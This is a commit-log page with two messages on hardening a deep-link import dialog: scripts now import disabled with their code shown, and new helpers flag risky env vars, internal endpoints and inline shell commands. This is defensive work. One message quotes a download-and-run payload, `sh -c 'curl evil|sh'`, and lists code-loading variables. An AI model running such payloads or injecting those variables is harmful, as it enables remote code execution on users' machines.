Commit Graph

2 Commits

Author SHA1 Message Date
Jason cfa90f396a fix(deeplink): import usage scripts disabled and show their code
An imported usage script is JavaScript that runs whenever usage is
queried. Two things made it possible to acquire one without seeing it:

  - `usage_enabled.unwrap_or(!code.is_empty())` treated the presence of
    code as a decision to run it, so a link that simply carried a script
    got it enabled
  - the confirmation dialog rendered only an enabled/disabled badge; the
    script body was never displayed

Default to disabled. Enabling now requires `usageEnabled=true` in the
link -- which is the link author's request, not the user's consent. The
consent is the user pressing Import after seeing the full script body
and the badge, which is why both displays are load-bearing rather than
decorative.

The badge predicate moves from `!== false` to `=== true` to match the
new backend default. Left alone it would have started rendering "did not
say" as a green "Enabled" -- more optimistic than what would actually
happen.

Extracts the payload decode into `decodeDeeplinkPayload`, which falls
back to the raw string when decoding fails or yields empty. A dialog
whose job is to show what is about to be written must not let a payload
vanish just because it is malformed; empty reads as "there is no
script", which is exactly the wrong impression.
2026-07-29 10:22:30 +08:00
Jason 6dbb944b54 feat(deeplink): add risk classification helpers for import confirmation
Pure helpers used only to annotate the deep-link confirmation dialog.
They deliberately do not block anything: custom endpoints and env vars
are normal third-party provider configuration (`http://localhost:11434`
is ordinary Ollama usage), so filtering them would break legitimate
setups. The actual gap is that the user cannot see what they are
approving, which is a visibility problem, not a policy one.

- `classifyEnvKey` flags variables that change how a process loads code
  rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS,
  NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No
  legitimate provider preset needs these set over a shared link.
- `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud
  metadata addresses. Literal matching only, no DNS resolution: resolving
  adds latency and the answer can differ from what the client resolves
  later (rebinding), so treating it as a control would be false
  assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes
  `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex
  alone misses that whole class.
- `classifyCommand` looks at command *and* args, because the realistic
  payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI
  that renders only the command shows a harmless `sh`. Inline-command
  flags are matched by shape, not by literal, to cover combined POSIX
  short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's
  abbreviations of `-Command`.

Every parameter takes `unknown`. These values come from arbitrary
base64-decoded JSON, where TypeScript annotations offer no runtime
guarantee; a non-string `command` would throw on `.split()` and blank the
whole confirmation dialog, which is worse than the misleading render it
replaces -- the user would not even see that something wants importing.

`maskValue` moves here from the dialog component so the MCP and provider
confirmations share one redaction rule instead of drifting apart.
2026-07-29 10:22:30 +08:00